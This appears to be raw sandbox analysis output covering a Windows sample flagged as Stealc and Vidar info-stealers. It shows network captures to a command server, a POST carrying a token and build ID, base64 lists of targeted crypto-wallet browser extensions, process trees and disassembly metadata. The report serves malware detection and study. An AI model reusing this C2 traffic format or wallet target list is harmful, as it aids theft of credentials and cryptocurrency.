Oct 4, 2024 15:54:13.791934013 CEST	1236	IN	Data Raw: 76 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 4a 6e 61 6d 39 6e 63 47 39 70 5a 47 56 71 5a 47 56 74 5a 32 39 76 59 32 68 77 62 6d 74 74 5a 47 70 77 62 32 4e 6e 61 32 68 68 66 44 46 38 4d 48 77 77 66 45 4e 76 61 57 35 6f 64 57 4a 38 4d 58 78 71 5a Data Ascii: vIFdhbGxldHwxfGJnam9ncG9pZGVqZGVtZ29vY2hwbmttZGpwb2Nna2hhfDF8MHwwfENvaW5odWJ8MXxqZ2FhaW1hamlwYnBkb2dwZGdsaGFwaGxkYWtpa2dlZnwxfDB8MHxMZWFwIENvc21vcyBXYWxsZXR8MXxmY2ZjZmxsZm5kbG9tZGhiZWhqamNvaW1iZ29mZG5jZ3wxfDB8MHxNdWx0aXZlcnNYIERlRmkgV2FsbGV0fD
Oct 4, 2024 15:54:13.791944981 CEST	675	IN	Data Raw: 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 31 72 63 47 56 6e 61 6d 74 69 62 47 74 72 5a 57 5a 68 59 32 5a 75 62 57 74 68 61 6d 4e 71 62 57 46 69 61 57 70 6f 59 32 78 6e 66 44 46 38 4d 48 77 77 66 45 4a 68 59 32 74 77 59 Data Ascii: pYyBFZGVuIFdhbGxldHwxfG1rcGVnamtibGtrZWZhY2ZubWthamNqbWFiaWpoY2xnfDF8MHwwfEJhY2twYWNrIFdhbGxldHwxfGFmbGttZmhlYmVkYmppb2lwZ2xnY2JjbW5icGdsaW9mfDF8MHwwfFRvbmtlZXBlciBXYWxsZXR8MXxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYW
Oct 4, 2024 15:54:13.878521919 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 15:54:13.880351067 CEST	519	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJK Host: proxy.johnmccrea.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 62 63 38 64 64 65 37 35 30 66 36 64 66 34 65 38 30 30 62 32 38 34 32 35 62 66 31 62 38 64 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 32 30 61 31 35 65 63 30 31 33 39 31 64 32 38 37 66 62 63 31 31 66 31 65 37 65 64 35 36 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="token"bbc8dde750f6df4e800b28425bf1b8dd------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="build_id"320a15ec01391d287fbc11f1e7ed5665------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="mode"21------JJJEGHDAECBFHJKEGIJK--
Oct 4, 2024 15:54:14.409564018 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 13:54:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49725	173.231.16.77	443	8132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 13:53:37 UTC	202	OUT	GET /?format=json HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: api64.ipify.org
2024-10-04 13:53:37 UTC	156	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 13:53:37 GMT Content-Type: application/json Content-Length: 20 Connection: close Vary: Origin
2024-10-04 13:53:37 UTC	20	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 7d Data Ascii: {"ip":"8.46.123.33"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49731	34.117.59.81	443	8132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 13:53:38 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: ipinfo.io
2024-10-04 13:53:38 UTC	458	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 1025 content-type: application/json; charset=utf-8 date: Fri, 04 Oct 2024 13:53:38 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-04 13:53:38 UTC	932	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-10-04 13:53:38 UTC	93	IN	Data Raw: 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: k Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49802	104.26.3.46	443	8132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 13:53:48 UTC	196	OUT	GET /1nhuM4.js HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: iplogger.org
2024-10-04 13:53:48 UTC	1005	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:53:48 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close memory: 0.43090057373046875 expires: Fri, 04 Oct 2024 13:53:48 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN CF-Cache-Status: BYPASS Set-Cookie: 40589004137263905=2; expires=Sat, 04 Oct 2025 13:53:48 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=8.46.123.33; expires=Sat, 04 Oct 2025 13:53:48 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BwDyZn%2B8Jdtbq9WkhgtN6Ln5M%2F2HA7IR%2B3Oq%2B8MJn4SObrKvP0b56UCnqBuRd1mJPm9BgbZ2Y6YVg%2B8E2UZHBGmRN%2FfyMJKNZbSjKyxpOJnzBHz%2Bq1DMeuO7tnPh%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd5a9054b1043f2-EWR
2024-10-04 13:53:48 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-10-04 13:53:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	09:53:34
Start date:	04/10/2024
Path:	C:\Users\user\Desktop\d1bc91bd44a0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\d1bc91bd44a0.exe"
Imagebase:	0xa40000
File size:	2'113'536 bytes
MD5 hash:	3ABCB3BE6004E8A635837EAE43B97526
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:53:34
Start date:	04/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xa70000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:53:35
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8108 -s 260
Imagebase:	0xe0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:53:45
Start date:	04/10/2024
Path:	C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe
Imagebase:	0x960000
File size:	484'352 bytes
MD5 hash:	2B7045094692BC5DD208CD1E195A6128
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:53:45
Start date:	04/10/2024
Path:	C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe
Imagebase:	0xcd0000
File size:	563'712 bytes
MD5 hash:	33F127E35338687A1A64F67FA6ED3B9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:53:45
Start date:	04/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xea0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.1912654684.0000000000477000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.1913695959.0000000001567000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.1912654684.0000000000462000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.1912654684.000000000049A000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:53:45
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6196 -s 260
Imagebase:	0xe0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:53:45
Start date:	04/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x540000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:53:45
Start date:	04/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xe60000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:53:46
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5752 -s 260
Imagebase:	0xe0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:54:13
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5924 -s 1420
Imagebase:	0xe0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:54:31
Start date:	04/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:54:32
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5748 -s 1272
Imagebase:	0xe0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.7%
Total number of Nodes:	655
Total number of Limit Nodes:	10

Executed Functions

Function 00A57836 Relevance: 1.3, Strings: 1, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00A57857

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 59890ed78d3305f4b4a1138d134120edb41e58a430912e3951994f5e6a2edaaf
Instruction ID: 2c485c2a0309e863a517da1118e6f1073e734be1aea0dd0a083601026cbbdbb8
Opcode Fuzzy Hash: 59890ed78d3305f4b4a1138d134120edb41e58a430912e3951994f5e6a2edaaf
Instruction Fuzzy Hash: F1210AB5A0424CAEDB218B649D84FFB77BDFB55704F1005ADFA9A92042D2719E89CB20

Function 00A55C96 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00A55D1D
__alloca_probe_16.LIBCMT ref: 00A55DDE
__freea.LIBCMT ref: 00A55E45

Part of subcall function 00A54D68: HeapAlloc.KERNEL32(00000000,00000000,00A50A4E,?,00A56C30,?,00000000,?,00A5A473,00000000,00A50A4E,00000000,?,?,?,00A50848), ref: 00A54D9A

__freea.LIBCMT ref: 00A55E5A
__freea.LIBCMT ref: 00A55E6A

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 096cad156b9d3a59f9a1334b660d963e8e8cc9fb10e515c00ef4b1d5d19601ec
Instruction ID: 7a50f4106e6c367ac75840bc02185b9740ccf51396456f1f15ed148fbd476362
Opcode Fuzzy Hash: 096cad156b9d3a59f9a1334b660d963e8e8cc9fb10e515c00ef4b1d5d19601ec
Instruction Fuzzy Hash: C351CE72A0061AAFEF209FB0DD96EBB36A9FF44752B150529FC09D6100EB31CD18C6A0

Function 00A42750 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 125
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00C432E0,000004E4,00000040,?), ref: 00A42924

Strings

N, xrefs: 00A42899

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: ProtectVirtual
String ID: N
API String ID: 544645111-1130791706
Opcode ID: 8bae90876b500307e0033b5b19fdd8b465bc5afd1adf383f53a1e2aa37531635
Instruction ID: 7b9e770fdd1b8062b295d0590b8004bdf8fc1ff59a92df7787527310925a1227
Opcode Fuzzy Hash: 8bae90876b500307e0033b5b19fdd8b465bc5afd1adf383f53a1e2aa37531635
Instruction Fuzzy Hash: 9131BD3FD34A0A06E70C26768D077EAB516EBE6B11FC54236BD09676E4DBB609019348

Function 00A42745 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 118
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00C432E0,000004E4,00000040,?), ref: 00A42924

Strings

N, xrefs: 00A42899

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: ProtectVirtual
String ID: N
API String ID: 544645111-1130791706
Opcode ID: 9e469070464c14d9417d32c0ecbc45d27477bce14ed6b4a2a54a2fc7405733be
Instruction ID: 480c468542e9e79c22b0e5811b33958807fed4f653449b74ce4d4f1b74b369db
Opcode Fuzzy Hash: 9e469070464c14d9417d32c0ecbc45d27477bce14ed6b4a2a54a2fc7405733be
Instruction Fuzzy Hash: BC31E03FD34A0A42D30C26728D073EBA51AEBE5B01FC54136BD0A672E0DBB609019348

Function 00A51FD9 Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00A55D84,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00A5200D
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00A55D84,?,?,00000000,?,00000000), ref: 00A5202B

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 9bf6580123a080d56d6e4fa6f818a0ee139e5790c1b962e6932ff30b33c29da3
Instruction ID: a25a232c9ae13c8cd8e16de1b064815c78fac4a5c982f83df5c8f10c9032180c
Opcode Fuzzy Hash: 9bf6580123a080d56d6e4fa6f818a0ee139e5790c1b962e6932ff30b33c29da3
Instruction Fuzzy Hash: 08F0683240125ABBCF26AF90EC05EDE7E26FB597A1B058110FE1825060C732C972EB90

Non-executed Functions

Function 00A5A060 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00A5A37E,00000002,00000000,?,?,?,00A5A37E,?,00000000), ref: 00A5A0F9
GetLocaleInfoW.KERNEL32(?,20001004,00A5A37E,00000002,00000000,?,?,?,00A5A37E,?,00000000), ref: 00A5A122
GetACP.KERNEL32(?,?,00A5A37E,?,00000000), ref: 00A5A137

Strings

OCP, xrefs: 00A5A0B4
ACP, xrefs: 00A5A07E

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
